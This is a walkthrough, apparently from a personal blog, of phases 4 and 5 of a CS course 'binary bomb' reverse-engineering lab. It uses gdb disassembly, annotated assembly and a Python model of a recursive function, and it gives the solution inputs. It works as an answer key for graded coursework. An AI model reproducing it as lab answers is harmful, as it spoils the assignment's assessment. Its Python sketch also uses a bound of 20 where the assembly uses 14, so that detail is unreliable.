<span class="w">   </span>0x00005555555557d7<span class="w"> </span>&lt;+4&gt;:<span class="w">     </span>sub<span class="w">    </span><span class="nv">$0</span>x18,%rsp
<span class="w">   </span>0x00005555555557db<span class="w"> </span>&lt;+8&gt;:<span class="w">     </span>lea<span class="w">    </span>0x8<span class="o">(</span>%rsp<span class="o">)</span>,%rcx
<span class="w">   </span>0x00005555555557e0<span class="w"> </span>&lt;+13&gt;:<span class="w">    </span>lea<span class="w">    </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w">   </span>0x00005555555557e5<span class="w"> </span>&lt;+18&gt;:<span class="w">    </span>lea<span class="w">    </span>0x1bba<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w">        </span><span class="c1"># 0x5555555573a6</span>
<span class="w">   </span>0x00005555555557ec<span class="w"> </span>&lt;+25&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x0,%eax
<span class="w">   </span>0x00005555555557f1<span class="w"> </span>&lt;+30&gt;:<span class="w">    </span>call<span class="w">   </span>0x5555555552e0<span class="w"> </span>&lt;__isoc99_sscanf@plt&gt;
<span class="w">   </span>0x00005555555557f6<span class="w"> </span>&lt;+35&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x2,%eax
<span class="w">   </span>0x00005555555557f9<span class="w"> </span>&lt;+38&gt;:<span class="w">    </span>jne<span class="w">    </span>0x555555555802<span class="w"> </span>&lt;phase_4+47&gt;
<span class="w">   </span>0x00005555555557fb<span class="w"> </span>&lt;+40&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>xe,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x0000555555555800<span class="w"> </span>&lt;+45&gt;:<span class="w">    </span>jbe<span class="w">    </span>0x555555555807<span class="w"> </span>&lt;phase_4+52&gt;
<span class="w">   </span>0x0000555555555802<span class="w"> </span>&lt;+47&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x0000555555555807<span class="w"> </span>&lt;+52&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>xe,%edx
<span class="w">   </span>0x000055555555580c<span class="w"> </span>&lt;+57&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x0,%esi
<span class="w">   </span>0x0000555555555811<span class="w"> </span>&lt;+62&gt;:<span class="w">    </span>mov<span class="w">    </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%edi
<span class="w">   </span>0x0000555555555815<span class="w"> </span>&lt;+66&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555799<span class="w"> </span>&lt;func4&gt;
<span class="w">   </span>0x000055555555581a<span class="w"> </span>&lt;+71&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x2,%eax
<span class="w">   </span>0x000055555555581d<span class="w"> </span>&lt;+74&gt;:<span class="w">    </span>jne<span class="w">    </span>0x555555555826<span class="w"> </span>&lt;phase_4+83&gt;
<span class="w">   </span>0x000055555555581f<span class="w"> </span>&lt;+76&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x2,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x0000555555555824<span class="w"> </span>&lt;+81&gt;:<span class="w">    </span>je<span class="w">     </span>0x55555555582b<span class="w"> </span>&lt;phase_4+88&gt;
<span class="w">   </span>0x0000555555555826<span class="w"> </span>&lt;+83&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x000055555555582b<span class="w"> </span>&lt;+88&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x18,%rsp
<span class="w">   </span>0x000055555555582f<span class="w"> </span>&lt;+92&gt;:<span class="w">    </span>ret<span class="w">    </span>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>

<p>Again, <code>gdb</code> has marked the string being passed to <code>scanf</code></p>

<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/1s<span class="w"> </span>0x5555555573a6
0x5555555573a6:<span class="w"> </span><span class="s2">&quot;%d %d&quot;</span>
</code></pre>
</div>

<p>Okay, so this time we are supposed to enter 2 numbers.</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x00005555555557f6<span class="w"> </span>&lt;+35&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x2,%eax
<span class="w">   </span>0x00005555555557f9<span class="w"> </span>&lt;+38&gt;:<span class="w">    </span>jne<span class="w">    </span>0x555555555802<span class="w"> </span>&lt;phase_4+47&gt;
</code></pre>
</div>

<p>Checks if there were 2 values read from calling <code>scanf</code>, if not -> jump to <code>&lt;phase_4+47&gt;</code> which calls <code>&lt;explode_bomb&gt;</code>.</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x00005555555557fb<span class="w"> </span>&lt;+40&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>xe,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x0000555555555800<span class="w"> </span>&lt;+45&gt;:<span class="w">    </span>jbe<span class="w">    </span>0x555555555807<span class="w"> </span>&lt;phase_4+52&gt;
</code></pre>
</div>

<p>Compare <code>0xe</code> (14 in Decimal) and value stored at <code>$rsp</code> + <code>0xc</code> bytes (Decimal 12). If this condition is met (&lt;= 14), jump to <code>&lt;phase_4+52&gt;</code>. If not, then explode bomb.</p>

<div class="codehilite">
<pre><span></span><code>...
<span class="w">   </span>0x0000555555555807<span class="w"> </span>&lt;+52&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>xe,%edx
<span class="w">   </span>0x000055555555580c<span class="w"> </span>&lt;+57&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x0,%esi
<span class="w">   </span>0x0000555555555811<span class="w"> </span>&lt;+62&gt;:<span class="w">    </span>mov<span class="w">    </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%edi
<span class="w">   </span>0x0000555555555815<span class="w"> </span>&lt;+66&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555799<span class="w"> </span>&lt;func4&gt;
<span class="w">   </span>0x000055555555581a<span class="w"> </span>&lt;+71&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x2,%eax
<span class="w">   </span>0x000055555555581d<span class="w"> </span>&lt;+74&gt;:<span class="w">    </span>jne<span class="w">    </span>0x555555555826<span class="w"> </span>&lt;phase_4+83&gt;
<span class="w">   </span>0x000055555555581f<span class="w"> </span>&lt;+76&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x2,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x0000555555555824<span class="w"> </span>&lt;+81&gt;:<span class="w">    </span>je<span class="w">     </span>0x55555555582b<span class="w"> </span>&lt;phase_4+88&gt;
<span class="w">   </span>0x0000555555555826<span class="w"> </span>&lt;+83&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
</code></pre>
</div>

<ul>
<li><code>0x0000555555555815 &lt;+66&gt;:    call   0x555555555799 &lt;func4&gt;</code> calls another function called <code>func4</code></li>
<li>The returned value is compared with <code>0x2</code>, if they are not equal then the program jumps to call <code>&lt;explode_bomb&gt;</code>. This tells us that <code>func4</code> should return 2.</li>
</ul>

<p>Let us look into <code>func4</code></p>

<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>func4
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>func4:
<span class="w">   </span>0x0000555555555799<span class="w"> </span>&lt;+0&gt;:<span class="w">     </span>endbr64<span class="w"> </span>
<span class="w">   </span>0x000055555555579d<span class="w"> </span>&lt;+4&gt;:<span class="w">     </span>sub<span class="w">    </span><span class="nv">$0</span>x8,%rsp
<span class="w">   </span>0x00005555555557a1<span class="w"> </span>&lt;+8&gt;:<span class="w">     </span>mov<span class="w">    </span>%edx,%ecx
<span class="w">   </span>0x00005555555557a3<span class="w"> </span>&lt;+10&gt;:<span class="w">    </span>sub<span class="w">    </span>%esi,%ecx
<span class="w">   </span>0x00005555555557a5<span class="w"> </span>&lt;+12&gt;:<span class="w">    </span>shr<span class="w">    </span>%ecx
<span class="w">   </span>0x00005555555557a7<span class="w"> </span>&lt;+14&gt;:<span class="w">    </span>add<span class="w">    </span>%esi,%ecx
<span class="w">   </span>0x00005555555557a9<span class="w"> </span>&lt;+16&gt;:<span class="w">    </span>cmp<span class="w">    </span>%edi,%ecx
<span class="w">   </span>0x00005555555557ab<span class="w"> </span>&lt;+18&gt;:<span class="w">    </span>ja<span class="w">     </span>0x5555555557b9<span class="w"> </span>&lt;func4+32&gt;
<span class="w">   </span>0x00005555555557ad<span class="w"> </span>&lt;+20&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x0,%eax
<span class="w">   </span>0x00005555555557b2<span class="w"> </span>&lt;+25&gt;:<span class="w">    </span>jb<span class="w">     </span>0x5555555557c5<span class="w"> </span>&lt;func4+44&gt;
<span class="w">   </span>0x00005555555557b4<span class="w"> </span>&lt;+27&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x8,%rsp
<span class="w">   </span>0x00005555555557b8<span class="w"> </span>&lt;+31&gt;:<span class="w">    </span>ret<span class="w">    </span>
<span class="w">   </span>0x00005555555557b9<span class="w"> </span>&lt;+32&gt;:<span class="w">    </span>lea<span class="w">    </span>-0x1<span class="o">(</span>%rcx<span class="o">)</span>,%edx
<span class="w">   </span>0x00005555555557bc<span class="w"> </span>&lt;+35&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555799<span class="w"> </span>&lt;func4&gt;
<span class="w">   </span>0x00005555555557c1<span class="w"> </span>&lt;+40&gt;:<span class="w">    </span>add<span class="w">    </span>%eax,%eax
<span class="w">   </span>0x00005555555557c3<span class="w"> </span>&lt;+42&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x5555555557b4<span class="w"> </span>&lt;func4+27&gt;
<span class="w">   </span>0x00005555555557c5<span class="w"> </span>&lt;+44&gt;:<span class="w">    </span>lea<span class="w">    </span>0x1<span class="o">(</span>%rcx<span class="o">)</span>,%esi
<span class="w">   </span>0x00005555555557c8<span class="w"> </span>&lt;+47&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555799<span class="w"> </span>&lt;func4&gt;
<span class="w">   </span>0x00005555555557cd<span class="w"> </span>&lt;+52&gt;:<span class="w">    </span>lea<span class="w">    </span>0x1<span class="o">(</span>%rax,%rax,1<span class="o">)</span>,%eax
<span class="w">   </span>0x00005555555557d1<span class="w"> </span>&lt;+56&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x5555555557b4<span class="w"> </span>&lt;func4+27&gt;
</code></pre>
</div>

<p>This looks like a recursive function :(  (I hate recursive functions)</p>

<p>Let's annotate the instructions.</p>

<div class="codehilite">
<pre><span></span><code>endbr64
sub<span class="w"> </span><span class="nv">$0</span>x8,%rsp<span class="w">  </span>//<span class="w"> </span>subtract<span class="w"> </span><span class="m">8</span><span class="w"> </span>bytes<span class="w"> </span>from<span class="w"> </span>the<span class="w"> </span>stack<span class="w"> </span>pointer
mov<span class="w"> </span>%edx,%ecx<span class="w">  </span>//<span class="w"> </span>Move<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>register<span class="w"> </span>%edx<span class="w"> </span>to<span class="w"> </span>%ecx
sub<span class="w"> </span>%esi,%ecx<span class="w">  </span>//<span class="w"> </span>Subtract<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>%esi<span class="w"> </span>from<span class="w"> </span>%ecx
shr<span class="w"> </span>%ecx<span class="w">       </span>//<span class="w"> </span>Right<span class="w"> </span><span class="nb">shift</span><span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>%ecx<span class="w"> </span>by<span class="w"> </span>one<span class="w"> </span>bit<span class="w"> </span><span class="o">(</span>dividing<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span>by<span class="w"> </span><span class="m">2</span><span class="o">)</span>
add<span class="w"> </span>%esi,%ecx<span class="w">  </span>//<span class="w"> </span>Add<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>%esi<span class="w"> </span>to<span class="w"> </span>%ecx
cmp<span class="w"> </span>%edi,%ecx<span class="w">  </span>//<span class="w"> </span>Compare
ja<span class="w"> </span>0x5555555557b9<span class="w"> </span>&lt;func4+32&gt;<span class="w"> </span>//<span class="w"> </span>If<span class="w"> </span>%ecx<span class="w"> </span>&gt;<span class="w"> </span>%edi<span class="w"> </span>-&gt;<span class="w"> </span>jump<span class="w"> </span>to<span class="w"> </span>instruction<span class="w"> </span>at<span class="w"> </span>offset<span class="w"> </span>+32
mov<span class="w"> </span><span class="nv">$0</span>x0,%eax<span class="w">  </span>//<span class="w"> </span>Move<span class="w"> </span><span class="m">0</span><span class="w"> </span>to<span class="w"> </span>%eax
jb<span class="w"> </span>0x5555555557c5<span class="w"> </span>&lt;func4+44&gt;<span class="w"> </span>//<span class="w"> </span>If<span class="w"> </span>%ecx<span class="w"> </span>&lt;<span class="w"> </span>%edi<span class="w"> </span>-&gt;<span class="w"> </span>jump<span class="w"> </span>to<span class="w"> </span>instruction<span class="w"> </span>at<span class="w"> </span>offset<span class="w"> </span>+44.
add<span class="w"> </span><span class="nv">$0</span>x8,%rsp<span class="w">  </span>//<span class="w"> </span>add<span class="w"> </span><span class="m">8</span><span class="w"> </span>bytes<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>stack<span class="w"> </span>pointer
ret<span class="w">            </span>//<span class="w"> </span><span class="k">return</span>
lea<span class="w"> </span>-0x1<span class="o">(</span>%rcx<span class="o">)</span>,%edx<span class="w"> </span>//<span class="w"> </span>LEA<span class="w"> </span>of<span class="w"> </span><span class="nv">$rxc</span><span class="w"> </span>-<span class="w"> </span><span class="m">1</span><span class="w"> </span>into<span class="w"> </span><span class="nv">$edx</span>
call<span class="w"> </span>0x555555555799<span class="w"> </span>&lt;func4&gt;<span class="w"> </span>//<span class="w"> </span>Call<span class="w"> </span>itself
add<span class="w"> </span>%eax,%eax<span class="w">  </span>//<span class="w"> </span>Double<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>%eax
jmp<span class="w"> </span>0x5555555557b4<span class="w"> </span>&lt;func4+27&gt;<span class="w"> </span>//<span class="w"> </span>jump<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>instruction<span class="w"> </span>at<span class="w"> </span>offset<span class="w"> </span>+27
lea<span class="w"> </span>0x1<span class="o">(</span>%rcx<span class="o">)</span>,%esi
call<span class="w"> </span>0x555555555799<span class="w"> </span>&lt;func4&gt;
lea<span class="w"> </span>0x1<span class="o">(</span>%rax,%rax,1<span class="o">)</span>,%eax<span class="w"> </span>//<span class="w"> </span>LEA<span class="w"> </span>of<span class="w"> </span>%rax<span class="w"> </span>*<span class="w"> </span><span class="m">2</span><span class="w"> </span>+<span class="w"> </span><span class="m">1</span><span class="w"> </span>into<span class="w"> </span><span class="nv">$eax</span><span class="w"> </span>
jmp<span class="w"> </span>0x5555555557b4<span class="w"> </span>&lt;func4+27&gt;
</code></pre>
</div>

<p>We can either try to compute the values by hand, or write a simple script in Python to get the answer.</p>

<div class="codehilite">
<pre><span></span><code><span class="k">def</span> <span class="nf">func4</span><span class="p">(</span><span class="n">edi</span><span class="p">,</span> <span class="n">esi</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">edx</span><span class="o">=</span><span class="mi">20</span><span class="p">):</span>
    <span class="n">ecx</span> <span class="o">=</span> <span class="p">(</span><span class="n">edx</span> <span class="o">-</span> <span class="n">esi</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">esi</span>
    <span class="k">if</span> <span class="n">ecx</span> <span class="o">&gt;</span> <span class="n">edi</span><span class="p">:</span>
        <span class="k">return</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">func4</span><span class="p">(</span><span class="n">edi</span><span class="p">,</span> <span class="n">esi</span><span class="p">,</span> <span class="n">ecx</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">ecx</span> <span class="o">&lt;</span> <span class="n">edi</span><span class="p">:</span>
        <span class="k">return</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">func4</span><span class="p">(</span><span class="n">edi</span><span class="p">,</span> <span class="n">ecx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">edx</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="mi">0</span>

<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">15</span><span class="p">):</span> <span class="c1"># We can limit to 14</span>
   <span class="k">if</span> <span class="n">func4</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
      <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;answer is </span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>
      <span class="k">break</span>
</code></pre>
</div>

<p>Running this code, we get: <code>answer is 5</code></p>

<p>Okay, so we know that the number needed to be passed to <code>func4</code> is 5. But, what about the second digit?</p>

<p>If we go back to the code for <code>&lt;phase_4&gt;</code>, we can see that:</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x000055555555581f<span class="w"> </span>&lt;+76&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x2,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x0000555555555824<span class="w"> </span>&lt;+81&gt;:<span class="w">    </span>je<span class="w">     </span>0x55555555582b<span class="w"> </span>&lt;phase_4+88&gt;
</code></pre>
</div>

<p>The value at <code>$rsp+8</code> should be equal to 2. So, let us try passing <code>5 2</code> as our input.</p>

<div class="codehilite">
<pre><span></span><code>...
Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
That<span class="err">&#39;</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w">  </span>Keep<span class="w"> </span>going!
Halfway<span class="w"> </span>there!
<span class="m">5</span><span class="w"> </span><span class="m">2</span>

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555557d3<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_4<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">continue</span>
Continuing.
So<span class="w"> </span>you<span class="w"> </span>got<span class="w"> </span>that<span class="w"> </span>one.<span class="w">  </span>Try<span class="w"> </span>this<span class="w"> </span>one.
</code></pre>
</div>

<h2 id="phase-5">Phase 5</h2>

<div class="codehilite">
<pre><span></span><code>So<span class="w"> </span>you<span class="w"> </span>got<span class="w"> </span>that<span class="w"> </span>one.<span class="w">  </span>Try<span class="w"> </span>this<span class="w"> </span>one.
<span class="nb">test</span><span class="w"> </span>string

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555830<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_5<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>phase_5
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_5:
<span class="o">=</span>&gt;<span class="w"> </span>0x0000555555555830<span class="w"> </span>&lt;+0&gt;:<span class="w">     </span>endbr64<span class="w"> </span>
<span class="w">   </span>0x0000555555555834<span class="w"> </span>&lt;+4&gt;:<span class="w">     </span>push<span class="w">   </span>%rbx
<span class="w">   </span>0x0000555555555835<span class="w"> </span>&lt;+5&gt;:<span class="w">     </span>sub<span class="w">    </span><span class="nv">$0</span>x10,%rsp
<span class="w">   </span>0x0000555555555839<span class="w"> </span>&lt;+9&gt;:<span class="w">     </span>mov<span class="w">    </span>%rdi,%rbx
<span class="w">   </span>0x000055555555583c<span class="w"> </span>&lt;+12&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555b10<span class="w"> </span>&lt;string_length&gt;
<span class="w">   </span>0x0000555555555841<span class="w"> </span>&lt;+17&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x6,%eax
<span class="w">   </span>0x0000555555555844<span class="w"> </span>&lt;+20&gt;:<span class="w">    </span>jne<span class="w">    </span>0x55555555588b<span class="w"> </span>&lt;phase_5+91&gt;
<span class="w">   </span>0x0000555555555846<span class="w"> </span>&lt;+22&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x0,%eax
<span class="w">   </span>0x000055555555584b<span class="w"> </span>&lt;+27&gt;:<span class="w">    </span>lea<span class="w">    </span>0x199e<span class="o">(</span>%rip<span class="o">)</span>,%rcx<span class="w">        </span><span class="c1"># 0x5555555571f0 &lt;array.0&gt;</span>
<span class="w">   </span>0x0000555555555852<span class="w"> </span>&lt;+34&gt;:<span class="w">    </span>movzbl<span class="w"> </span><span class="o">(</span>%rbx,%rax,1<span class="o">)</span>,%edx
<span class="w">   </span>0x0000555555555856<span class="w"> </span>&lt;+38&gt;:<span class="w">    </span>and<span class="w">    </span><span class="nv">$0</span>xf,%edx
<span class="w">   </span>0x0000555555555859<span class="w"> </span>&lt;+41&gt;:<span class="w">    </span>movzbl<span class="w"> </span><span class="o">(</span>%rcx,%rdx,1<span class="o">)</span>,%edx
<span class="w">   </span>0x000055555555585d<span class="w"> </span>&lt;+45&gt;:<span class="w">    </span>mov<span class="w">    </span>%dl,0x9<span class="o">(</span>%rsp,%rax,1<span class="o">)</span>
<span class="w">   </span>0x0000555555555861<span class="w"> </span>&lt;+49&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x1,%rax
<span class="w">   </span>0x0000555555555865<span class="w"> </span>&lt;+53&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x6,%rax
<span class="w">   </span>0x0000555555555869<span class="w"> </span>&lt;+57&gt;:<span class="w">    </span>jne<span class="w">    </span>0x555555555852<span class="w"> </span>&lt;phase_5+34&gt;
<span class="w">   </span>0x000055555555586b<span class="w"> </span>&lt;+59&gt;:<span class="w">    </span>movb<span class="w">   </span><span class="nv">$0</span>x0,0xf<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x0000555555555870<span class="w"> </span>&lt;+64&gt;:<span class="w">    </span>lea<span class="w">    </span>0x9<span class="o">(</span>%rsp<span class="o">)</span>,%rdi
<span class="w">   </span>0x0000555555555875<span class="w"> </span>&lt;+69&gt;:<span class="w">    </span>lea<span class="w">    </span>0x1943<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w">        </span><span class="c1"># 0x5555555571bf</span>
<span class="w">   </span>0x000055555555587c<span class="w"> </span>&lt;+76&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555b31<span class="w"> </span>&lt;strings_not_equal&gt;
<span class="w">   </span>0x0000555555555881<span class="w"> </span>&lt;+81&gt;:<span class="w">    </span><span class="nb">test</span><span class="w">   </span>%eax,%eax
<span class="w">   </span>0x0000555555555883<span class="w"> </span>&lt;+83&gt;:<span class="w">    </span>jne<span class="w">    </span>0x555555555892<span class="w"> </span>&lt;phase_5+98&gt;
<span class="w">   </span>0x0000555555555885<span class="w"> </span>&lt;+85&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x10,%rsp
<span class="w">   </span>0x0000555555555889<span class="w"> </span>&lt;+89&gt;:<span class="w">    </span>pop<span class="w">    </span>%rbx
<span class="w">   </span>0x000055555555588a<span class="w"> </span>&lt;+90&gt;:<span class="w">    </span>ret<span class="w">    </span>
<span class="w">   </span>0x000055555555588b<span class="w"> </span>&lt;+91&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x0000555555555890<span class="w"> </span>&lt;+96&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x555555555846<span class="w"> </span>&lt;phase_5+22&gt;
<span class="w">   </span>0x0000555555555892<span class="w"> </span>&lt;+98&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x0000555555555897<span class="w"> </span>&lt;+103&gt;:<span class="w">   </span>jmp<span class="w">    </span>0x555555555885<span class="w"> </span>&lt;phase_5+85&gt;
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code>...
<span class="w">   </span>0x000055555555583c<span class="w"> </span>&lt;+12&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555b10<span class="w"> </span>&lt;string_length&gt;
<span class="w">   </span>0x0000555555555841<span class="w"> </span>&lt;+17&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x6,%eax
<span class="w">   </span>0x0000555555555844<span class="w"> </span>&lt;+20&gt;:<span class="w">    </span>jne<span class="w">    </span>0x55555555588b<span class="w"> </span>&lt;phase_5+91&gt;
...
<span class="w">   </span>0x000055555555588b<span class="w"> </span>&lt;+91&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
...
</code></pre>
</div>

<p>First things first, these instructions check to make sure the passed string is of length 6, otherwise <code>explode_bomb</code> is called.</p>

<p>We can also see a similar pattern compared to Phase 2, where we had a loop:</p>

<ul>
<li>The looping part:
<ul>
<li><code>mov $0x0,%eax</code> - Initialise <code>%eax</code> and set it to 0 (our counter/iterator)</li>
<li><code>movzbl (%rbx,%rax,1),%edx</code> - Access <code>%rbx + 1 * %rax</code> and store it in <code>%edx</code></li>
<li><code>and $0xf,%edx</code> - Take the least significant 4 bits of the byte.</li>
<li><code>movzbl (%rcx,%rdx,1),%edx</code> - Use the 4 bits as an index into another array and load the corresponding byte into <code>%edx</code></li>
<li><code>mov %dl,0x9(%rsp,%rax,1)</code> - Store the transformed byte into a buffer on the stack</li>
<li><code>add $0x1,%rax</code> - Increment <code>%rax</code></li>
<li><code>cmp    $0x6,%rax</code> - If the index is not yet 6, loop again</li>
</ul></li>
<li><code>movb $0x0,0xf(%rsp)</code> - Null-terminate the transformed string</li>
<li><code>lea 0x9(%rsp),%rdi</code> and <code>lea 0x1943(%rip),%rsi</code> </li>
<li><code>all 0x555555555b31 &lt;strings_not_equal&gt;</code> check if the two strings loaded up just before this are equal or not.</li>
</ul>

<p>We can check the reference string we need, which <code>gdb</code> has marked as <code># 0x5555555571bf</code>, and the lookup table marked as <code># 0x5555555571f0 &lt;array.0&gt;</code></p>

<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/s<span class="w"> </span>0x5555555571bf
0x5555555571bf:<span class="w"> </span><span class="s2">&quot;bruins&quot;</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/s<span class="w"> </span>0x5555555571f0
0x5555555571f0<span class="w"> </span>&lt;array.0&gt;:<span class="w">       </span><span class="s2">&quot;maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?&quot;</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>

<p>To summarize the transformation process:</p>

<ul>
<li>The function takes each byte of the string</li>
<li>It keeps only the least significant 4 bits of each byte</li>
<li>It uses these 4 bits as an index into the lookup table (<code>array.0</code>)</li>
<li>The value from the array is then stored in a buffer</li>
</ul>

<p>Here's how the transformation process can be reversed for each character in "bruins":
1. Find the index of <code>b</code> in the lookup table (in our case, it is 13 since we index starting 0)
2. Calculate binary representation of this index (in our case 13 can be written as 1101 in binary)
3. Find ASCII character whose least significant 4 bits match (in our case, <code>m</code> has binary representation <code>01101101</code>)</p>

<p>Repeat for all 6 characters</p>

<p><em>Hint: Using an <a rel="noopener" target="_blank" href="http://sticksandstones.kstrom.com/appen.html">ASCII - Binary Table</a> can save you time.</em> </p>

<p>Thus, we can have the following transformation:</p>

<pre><code>b -&gt; m
r -&gt; f 
u -&gt; c
i -&gt; d
n -&gt; h
s -&gt; g
</code></pre>

<p>Let us try out this answer:</p>

<div class="codehilite">
<pre><span></span><code>...
That<span class="err">&#39;</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w">  </span>Keep<span class="w"> </span>going!
Halfway<span class="w"> </span>there!
So<span class="w"> </span>you<span class="w"> </span>got<span class="w"> </span>that<span class="w"> </span>one.<span class="w">  </span>Try<span class="w"> </span>this<span class="w"> </span>one.
mfcdhg

